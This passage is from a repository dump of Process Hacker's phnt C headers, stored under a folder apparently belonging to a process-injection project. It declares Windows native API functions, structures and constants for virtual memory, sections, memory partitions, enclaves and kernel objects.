_SECTION_INHERIT\n{\n ViewShare = 1,\n ViewUnmap = 2\n} SECTION_INHERIT;\n#endif\n\n#define SEC_BASED 0x200000\n#define SEC_NO_CHANGE 0x400000\n#define SEC_GLOBAL 0x20000000\n\n#define MEM_EXECUTE_OPTION_DISABLE 0x1\n#define MEM_EXECUTE_OPTION_ENABLE 0x2\n#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4\n#define MEM_EXECUTE_OPTION_PERMANENT 0x8\n#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10\n#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20\n#define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3f\n\n// Virtual memory\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAllocateVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress,\n _In_ ULONG_PTR ZeroBits,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG AllocationType,\n _In_ ULONG Protect\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFreeVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG FreeType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReadVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _Out_writes_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesRead\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWriteVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesWritten\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtProtectVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG NewProtect,\n _Out_ PULONG OldProtect\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,\n _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation,\n _In_ SIZE_T MemoryInformationLength,\n _Out_opt_ PSIZE_T ReturnLength\n );\n\n#endif\n\n// begin_private\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\ntypedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS\n{\n VmPrefetchInformation, // ULONG\n VmPagePriorityInformation,\n VmCfgCallTargetInformation, // CFG_CALL_TARGET_LIST_INFORMATION // REDSTONE2\n VmPageDirtyStateInformation, // REDSTONE3\n VmImageHotPatchInformation // 19H1\n} VIRTUAL_MEMORY_INFORMATION_CLASS;\n\ntypedef struct _MEMORY_RANGE_ENTRY\n{\n PVOID VirtualAddress;\n SIZE_T NumberOfBytes;\n} MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY;\n\ntypedef struct _CFG_CALL_TARGET_LIST_INFORMATION\n{\n ULONG NumberOfEntries;\n ULONG Reserved;\n PULONG NumberOfEntriesProcessed;\n PCFG_CALL_TARGET_INFO CallTargetInfo;\n PVOID Section; // since REDSTONE5\n ULONGLONG FileOffset;\n} CFG_CALL_TARGET_LIST_INFORMATION, *PCFG_CALL_TARGET_LIST_INFORMATION;\n#endif\n// end_private\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass,\n _In_ ULONG_PTR NumberOfEntries,\n _In_reads_ (NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses,\n _In_reads_bytes_ (VmInformationLength) PVOID VmInformation,\n _In_ ULONG VmInformationLength\n );\n\n#endif\n\n#define MAP_PROCESS 1\n#define MAP_SYSTEM 2\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLockVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG MapType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnlockVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG MapType\n );\n\n#endif\n\n// Sections\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateSection(\n _Out_ PHANDLE SectionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PLARGE_INTEGER MaximumSize,\n _In_ ULONG SectionPageProtection,\n _In_ ULONG AllocationAttributes,\n _In_opt_ HANDLE FileHandle\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE5)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateSectionEx(\n _Out_ PHANDLE SectionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PLARGE_INTEGER MaximumSize,\n _In_ ULONG SectionPageProtection,\n _In_ ULONG AllocationAttributes,\n _In_opt_ HANDLE FileHandle,\n _In_ PMEM_EXTENDED_PARAMETER ExtendedParameters,\n _In_ ULONG ExtendedParameterCount\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenSection(\n _Out_ PHANDLE SectionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtMapViewOfSection(\n _In_ HANDLE SectionHandle,\n _In_ HANDLE ProcessHandle,\n _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,\n _In_ ULONG_PTR ZeroBits,\n _In_ SIZE_T CommitSize,\n _Inout_opt_ PLARGE_INTEGER SectionOffset,\n _Inout_ PSIZE_T ViewSize,\n _In_ SECTION_INHERIT InheritDisposition,\n _In_ ULONG AllocationType,\n _In_ ULONG Win32Protect\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnmapViewOfSection(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnmapViewOfSectionEx(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_ ULONG Flags\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtExtendSection(\n _In_ HANDLE SectionHandle,\n _Inout_ PLARGE_INTEGER NewSectionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySection(\n _In_ HANDLE SectionHandle,\n _In_ SECTION_INFORMATION_CLASS SectionInformationClass,\n _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation,\n _In_ SIZE_T SectionInformationLength,\n _Out_opt_ PSIZE_T ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAreMappedFilesTheSame(\n _In_ PVOID File1MappedAsAnImage,\n _In_ PVOID File2MappedAsFile\n );\n\n#endif\n\n// Partitions\n\n#ifndef MEMORY_PARTITION_QUERY_ACCESS\n#define MEMORY_PARTITION_QUERY_ACCESS 0x0001\n#define MEMORY_PARTITION_MODIFY_ACCESS 0x0002\n#define MEMORY_PARTITION_ALL_ACCESS \\\n (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \\\n MEMORY_PARTITION_QUERY_ACCESS | MEMORY_PARTITION_MODIFY_ACCESS)\n#endif\n\n// private\ntypedef enum _MEMORY_PARTITION_INFORMATION_CLASS\n{\n SystemMemoryPartitionInformation, // q: MEMORY_PARTITION_CONFIGURATION_INFORMATION\n SystemMemoryPartitionMoveMemory, // s: MEMORY_PARTITION_TRANSFER_INFORMATION\n SystemMemoryPartitionAddPagefile, // s: MEMORY_PARTITION_PAGEFILE_INFORMATION\n SystemMemoryPartitionCombineMemory, // q; s: MEMORY_PARTITION_PAGE_COMBINE_INFORMATION\n SystemMemoryPartitionInitialAddMemory, // q; s: MEMORY_PARTITION_INITIAL_ADD_INFORMATION\n SystemMemoryPartitionGetMemoryEvents, // MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION // since REDSTONE2\n SystemMemoryPartitionMax\n} MEMORY_PARTITION_INFORMATION_CLASS;\n\n// private\ntypedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION\n{\n ULONG Flags;\n ULONG NumaNode;\n ULONG Channel;\n ULONG NumberOfNumaNodes;\n ULONG_PTR ResidentAvailablePages;\n ULONG_PTR CommittedPages;\n ULONG_PTR CommitLimit;\n ULONG_PTR PeakCommitment;\n ULONG_PTR TotalNumberOfPages;\n ULONG_PTR AvailablePages;\n ULONG_PTR ZeroPages;\n ULONG_PTR FreePages;\n ULONG_PTR StandbyPages;\n ULONG_PTR StandbyPageCountByPriority[8]; // since REDSTONE2\n ULONG_PTR RepurposedPagesByPriority[8];\n ULONG_PTR MaximumCommitLimit;\n ULONG_PTR DonatedPagesToPartitions;\n ULONG PartitionId; // since REDSTONE3\n} MEMORY_PARTITION_CONFIGURATION_INFORMATION, *PMEMORY_PARTITION_CONFIGURATION_INFORMATION;\n\n// private\ntypedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION\n{\n ULONG_PTR NumberOfPages;\n ULONG NumaNode;\n ULONG Flags;\n} MEMORY_PARTITION_TRANSFER_INFORMATION, *PMEMORY_PARTITION_TRANSFER_INFORMATION;\n\n// private\ntypedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION\n{\n UNICODE_STRING PageFileName;\n LARGE_INTEGER MinimumSize;\n LARGE_INTEGER MaximumSize;\n ULONG Flags;\n} MEMORY_PARTITION_PAGEFILE_INFORMATION, *PMEMORY_PARTITION_PAGEFILE_INFORMATION;\n\n// private\ntypedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION\n{\n HANDLE StopHandle;\n ULONG Flags;\n ULONG_PTR TotalNumberOfPages;\n} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, *PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION;\n\n// private\ntypedef struct _MEMORY_PARTITION_PAGE_RANGE\n{\n ULONG_PTR StartPage;\n ULONG_PTR NumberOfPages;\n} MEMORY_PARTITION_PAGE_RANGE, *PMEMORY_PARTITION_PAGE_RANGE;\n\n// private\ntypedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION\n{\n ULONG Flags;\n ULONG NumberOfRanges;\n ULONG_PTR NumberOfPagesAdded;\n MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1];\n} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, *PMEMORY_PARTITION_INITIAL_ADD_INFORMATION;\n\n// private\ntypedef struct _MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION\n{\n union\n { \n struct\n {\n ULONG CommitEvents : 1;\n ULONG Spare : 31;\n };\n ULONG AllFlags;\n } Flags;\n \n ULONG HandleAttributes;\n ULONG DesiredAccess;\n HANDLE LowCommitCondition; // \\KernelObjects\\LowCommitCondition\n HANDLE HighCommitCondition; // \\KernelObjects\\HighCommitCondition\n HANDLE MaximumCommitCondition; // \\KernelObjects\\MaximumCommitCondition\n} MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION, *PMEMORY_PARTITION_MEMORY_EVENTS_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreatePartition(\n _Out_ PHANDLE PartitionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG PreferredNode\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenPartition(\n _Out_ PHANDLE PartitionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtManagePartition(\n _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass,\n _In_ PVOID PartitionInformation,\n _In_ ULONG PartitionInformationLength\n );\n\n#endif\n\n#endif\n\n// User physical pages\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtMapUserPhysicalPages(\n _In_ PVOID VirtualAddress,\n _In_ ULONG_PTR NumberOfPages,\n _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtMapUserPhysicalPagesScatter(\n _In_reads_(NumberOfPages) PVOID *VirtualAddresses,\n _In_ ULONG_PTR NumberOfPages,\n _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAllocateUserPhysicalPages(\n _In_ HANDLE ProcessHandle,\n _Inout_ PULONG_PTR NumberOfPages,\n _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFreeUserPhysicalPages(\n _In_ HANDLE ProcessHandle,\n _Inout_ PULONG_PTR NumberOfPages,\n _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray\n );\n\n#endif\n\n// Sessions\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenSession(\n _Out_ PHANDLE SessionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n#endif\n\n#endif\n\n// Misc.\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetWriteWatch(\n _In_ HANDLE ProcessHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress,\n _In_ SIZE_T RegionSize,\n _Out_writes_(*EntriesInUserAddressArray) PVOID *UserAddressArray,\n _Inout_ PULONG_PTR EntriesInUserAddressArray,\n _Out_ PULONG Granularity\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtResetWriteWatch(\n _In_ HANDLE ProcessHandle,\n _In_ PVOID BaseAddress,\n _In_ SIZE_T RegionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreatePagingFile(\n _In_ PUNICODE_STRING PageFileName,\n _In_ PLARGE_INTEGER MinimumSize,\n _In_ PLARGE_INTEGER MaximumSize,\n _In_ ULONG Priority\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFlushInstructionCache(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_ SIZE_T Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFlushWriteBuffer(\n VOID\n );\n\n#endif\n\n// Enclave support\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateEnclave(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID* BaseAddress,\n _In_ ULONG_PTR ZeroBits,\n _In_ SIZE_T Size,\n _In_ SIZE_T InitialCommitment,\n _In_ ULONG EnclaveType,\n _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation,\n _In_ ULONG EnclaveInformationLength,\n _Out_opt_ PULONG EnclaveError\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadEnclaveData(\n _In_ HANDLE ProcessHandle,\n _In_ PVOID BaseAddress,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _In_ ULONG Protect,\n _In_reads_bytes_(PageInformationLength) PVOID PageInformation,\n _In_ ULONG PageInformationLength,\n _Out_opt_ PSIZE_T NumberOfBytesWritten,\n _Out_opt_ PULONG EnclaveError\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtInitializeEnclave(\n _In_ HANDLE ProcessHandle,\n _In_ PVOID BaseAddress,\n _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation,\n _In_ ULONG EnclaveInformationLength,\n _Out_opt_ PULONG EnclaveError\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTerminateEnclave(\n _In_ PVOID BaseAddress,\n _In_ BOOLEAN WaitForThread\n );\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCallEnclave(\n _In_ PENCLAVE_ROUTINE Routine,\n _In_ PVOID Parameter,\n _In_ BOOLEAN WaitForThread,\n _Out_opt_ PVOID *ReturnValue\n );\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntnls.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTNLS_H\n#define _NTNLS_H\n\n#define MAXIMUM_LEADBYTES 12\n\ntypedef struct _CPTABLEINFO\n{\n USHORT CodePage;\n USHORT MaximumCharacterSize;\n USHORT DefaultChar;\n USHORT UniDefaultChar;\n USHORT TransDefaultChar;\n USHORT TransUniDefaultChar;\n USHORT DBCSCodePage;\n UCHAR LeadByte[MAXIMUM_LEADBYTES];\n PUSHORT MultiByteTable;\n PVOID WideCharTable;\n PUSHORT DBCSRanges;\n PUSHORT DBCSOffsets;\n} CPTABLEINFO, *PCPTABLEINFO;\n\ntypedef struct _NLSTABLEINFO\n{\n CPTABLEINFO OemTableInfo;\n CPTABLEINFO AnsiTableInfo;\n PUSHORT UpperCaseTable;\n PUSHORT LowerCaseTable;\n} NLSTABLEINFO, *PNLSTABLEINFO;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\nNTSYSAPI USHORT NlsAnsiCodePage;\nNTSYSAPI BOOLEAN NlsMbCodePageTag;\nNTSYSAPI BOOLEAN NlsMbOemCodePageTag;\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntobapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTOBAPI_H\n#define _NTOBAPI_H\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define OBJECT_TYPE_CREATE 0x0001\n#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define DIRECTORY_QUERY 0x0001\n#define DIRECTORY_TRAVERSE 0x0002\n#define DIRECTORY_CREATE_OBJECT 0x0004\n#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008\n#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xf)\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define SYMBOLIC_LINK_QUERY 0x0001\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n#endif\n\n#define OBJ_PROTECT_CLOSE 0x00000001\n#ifndef OBJ_INHERIT\n#define OBJ_INHERIT 0x00000002\n#endif\n#define OBJ_AUDIT_OBJECT_CLOSE 0x00000004\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\ntypedef enum _OBJECT_INFORMATION_CLASS\n{\n ObjectBasicInformation, // OBJECT_BASIC_INFORMATION\n ObjectNameInformation, // OBJECT_NAME_INFORMATION\n ObjectTypeInformation, // OBJECT_TYPE_INFORMATION\n ObjectTypesInformation, // OBJECT_TYPES_INFORMATION\n ObjectHandleFlagInformation, // OBJECT_HANDLE_FLAG_INFORMATION\n ObjectSessionInformation,\n ObjectSessionObjectInformation,\n MaxObjectInfoClass\n} OBJECT_INFORMATION_CLASS;\n#else\n#define ObjectBasicInformation 0\n#define ObjectNameInformation 1\n#define ObjectTypesInformation 3\n#define ObjectHandleFlagInformation 4\n#define ObjectSessionInformation 5\n#define ObjectSessionObjectInformation 6\n#endif\n\ntypedef struct _OBJECT_BASIC_INFORMATION\n{\n ULONG Attributes;\n ACCESS_MASK GrantedAccess;\n ULONG HandleCount;\n ULONG PointerCount;\n ULONG PagedPoolCharge;\n ULONG NonPagedPoolCharge;\n ULONG Reserved[3];\n ULONG NameInfoSize;\n ULONG TypeInfoSize;\n ULONG SecurityDescriptorSize;\n LARGE_INTEGER CreationTime;\n} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\ntypedef struct _OBJECT_NAME_INFORMATION\n{\n UNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\n#endif\n\ntypedef struct _OBJECT_TYPE_INFORMATION\n{\n UNICODE_STRING TypeName;\n ULONG TotalNumberOfObjects;\n ULONG TotalNumberOfHandles;\n ULONG TotalPagedPoolUsage;\n ULONG TotalNonPagedPoolUsage;\n ULONG TotalNamePoolUsage;\n ULONG TotalHandleTableUsage;\n ULONG HighWaterNumberOfObjects;\n ULONG HighWaterNumberOfHandles;\n ULONG HighWaterPagedPoolUsage;\n ULONG HighWaterNonPagedPoolUsage;\n ULONG HighWaterNamePoolUsage;\n ULONG HighWaterHandleTableUsage;\n ULONG InvalidAttributes;\n GENERIC_MAPPING GenericMapping;\n ULONG ValidAccessMask;\n BOOLEAN SecurityRequired;\n BOOLEAN MaintainHandleCount;\n UCHAR TypeIndex; // since WINBLUE\n CHAR ReservedByte;\n ULONG PoolType;\n ULONG DefaultPagedPoolCharge;\n ULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\n\ntypedef struct _OBJECT_TYPES_INFORMATION\n{\n ULONG NumberOfTypes;\n} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION;\n\ntypedef struct _OBJECT_HANDLE_FLAG_INFORMATION\n{\n BOOLEAN Inherit;\n BOOLEAN ProtectFromClose;\n} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;\n\n// Objects, handles\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryObject(\n _In_opt_ HANDLE Handle,\n _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,\n _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,\n _In_ ULONG ObjectInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationObject(\n _In_ HANDLE Handle,\n _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,\n _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation,\n _In_ ULONG ObjectInformationLength\n );\n\n#define DUPLICATE_CLOSE_SOURCE 0x00000001\n#define DUPLICATE_SAME_ACCESS 0x00000002\n#define DUPLICATE_SAME_ATTRIBUTES 0x00000004\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDuplicateObject(\n _In_ HANDLE SourceProcessHandle,\n _In_ HANDLE SourceHandle,\n _In_opt_ HANDLE TargetProcessHandle,\n _Out_opt_ PHANDLE TargetHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _In_ ULONG Options\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtMakeTemporaryObject(\n _In_ HANDLE Handle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtMakePermanentObject(\n _In_ HANDLE Handle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSignalAndWaitForSingleObject(\n _In_ HANDLE SignalHandle,\n _In_ HANDLE WaitHandle,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForSingleObject(\n _In_ HANDLE Handle,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForMultipleObjects(\n _In_ ULONG Count,\n _In_reads_(Count) HANDLE Handles[],\n _In_ WAIT_TYPE WaitType,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForMultipleObjects32(\n _In_ ULONG Count,\n _In_reads_(Count) LONG Handles[],\n _In_ WAIT_TYPE WaitType,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetSecurityObject(\n _In_ HANDLE Handle,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityObject(\n _In_ HANDLE Handle,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ ULONG Length,\n _Out_ PULONG LengthNeeded\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtClose(\n _In_ HANDLE Handle\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCompareObjects(\n _In_ HANDLE FirstObjectHandle,\n _In_ HANDLE SecondObjectHandle\n );\n#endif\n\n#endif\n\n// Directory objects\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateDirectoryObject(\n _Out_ PHANDLE DirectoryHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateDirectoryObjectEx(\n _Out_ PHANDLE DirectoryHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ShadowDirectoryHandle,\n _In_ ULONG Flags\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenDirectoryObject(\n _Out_ PHANDLE DirectoryHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\ntypedef struct _OBJECT_DIRECTORY_INFORMATION\n{\n UNICODE_STRING Name;\n UNICODE_STRING TypeName;\n} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryObject(\n _In_ HANDLE DirectoryHandle,\n _Out_writes_bytes_opt_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_ BOOLEAN RestartScan,\n _Inout_ PULONG Context,\n _Out_opt_ PULONG ReturnLength\n );\n\n#endif\n\n// Private namespaces\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreatePrivateNamespace(\n _Out_ PHANDLE NamespaceHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PVOID BoundaryDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenPrivateNamespace(\n _Out_ PHANDLE NamespaceHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PVOID BoundaryDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeletePrivateNamespace(\n _In_ HANDLE NamespaceHandle\n );\n\n#endif\n\n#endif\n\n// Symbolic links\n\n#if (PHNT_MODE != 